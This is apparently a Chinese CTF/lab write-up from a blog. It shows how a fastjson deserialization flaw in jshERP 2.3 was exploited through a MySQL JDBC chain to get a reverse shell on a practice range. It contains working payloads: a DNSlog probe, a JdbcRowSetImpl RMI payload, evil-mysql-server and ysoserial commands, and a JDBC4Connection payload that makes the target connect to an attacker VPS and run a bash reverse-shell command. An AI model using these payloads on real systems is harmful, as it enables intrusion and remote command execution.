fastjson 反序列化之mysql JDBC 利用

前言:
在打春秋云境Exchange 靶场时,入口点是华夏ERP 2.3版本系统,存在fastjson 反序列化漏洞,在尝试常见的fastjson利用链反弹shell都没有反应,最终使用mysql JDBC利用链反弹shell成功。在此记录一下。

复现本地靶场搭建

在打靶场过程中,迟迟没有利用成功,在本地搭建靶场先进行反序列化利用测试,github下载jshERP-2.3版本源码。
本地用到的工具和数据库环境:

1. IntelliJ IDEA 2020.3.2(使用tomcat 8.5.34,jdk8)
2. 10.3.7-MariaDB(mysql 5.7

1、使用IDEA打开下载的jshERP-2.3项目源码,修改配置文件

修改application.properties配置文件的数据库连接用户密码

在这里插入图片描述

我这里使用的tomcat为8.5.34版本

在这里插入图片描述

2、导入数据库

本地创建jsh_erp数据库,导入jsh_erp.sql文件执行生成表数据

在这里插入图片描述

3、运行靶场

运行ErpApplication 入口文件,启动靶场,无报错成功运行。

在这里插入图片描述

4、反序列化利用

靶场入口是华夏ERP系统,默认管理员账号密码可以进行登录:admin/123456

在这里插入图片描述
登录到后台,华夏ERP系统历史版本中存在很多漏洞的,包括fastjson 反序列化漏洞,这里在用户管理查询中触发

在这里插入图片描述

验证fastjson 反序列化漏洞存在payload:


{"@type":"java.net.Inet4Address","val":"fvnp2k.dnslog.cn"}
进行url编码后在search值发送

burp中进行数据包发送
在这里插入图片描述
dnslog收到消息
在这里插入图片描述

后续中在利用fastjson 反序列化执行命令都是无一失败,IDEA中看到都是类似失败提示not support com.sun.rowset.JdbcRowSetImpl,不支持这些利用链如下,还有更多的这里没有列出来

exp:
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://xxx.xx.xx.xx:1099/Exploit", "autoCommit":true
}

在这里插入图片描述

在搜索fastjson 反序列化与JDBC之后发现可以使用fastjson加mysql反序列化,细看了解之后复现测试
参考1:

在这里插入图片描述

http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%80%AA

参考2:
在这里插入图片描述

https://www.cnblogs.com/kingbridge/articles/16720318.html

从华夏ERP源码配置使用的依赖符合触发条件

在这里插入图片描述

evil-mysql-server、ysoserial-all.jar

在复现中需要使用到evil-mysql-server、ysoserial-all.jar 反序列化利用工具

evil-mysql-server是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 ysoserial
在这里插入图片描述

ysoserial-all.jar: java反序列利用神器

下载地址:
https://github.com/dushixiang/evil-mysql-server
https://github.com/su18/ysoserial

反弹shell

在vps服务器上下载evil-mysql-server、ysoserial-all.jar工具回来放在同一目录下,执行命令运行

./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar

用到的Fastjson 反序列化exp ,只需要修改vpsIP地址和要执行的命令(base64编码后的命令)

{
	"name": {
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "vpsIP地址",
		"portToConnectTo": 3306,
		"info": {
			"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}

url编码后发送

在这里插入图片描述

vps中收到了数据请求,由于靶场是windows系统不能反弹shell,但是可以看到靶场服务器向vps请求, 执行了恶意的反序列化代码

在这里插入图片描述

最后发现可行之后,也是立马开启了春秋云境Exchange 靶场,使用fastjson+mysql JDBC利用链反弹shell成功

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值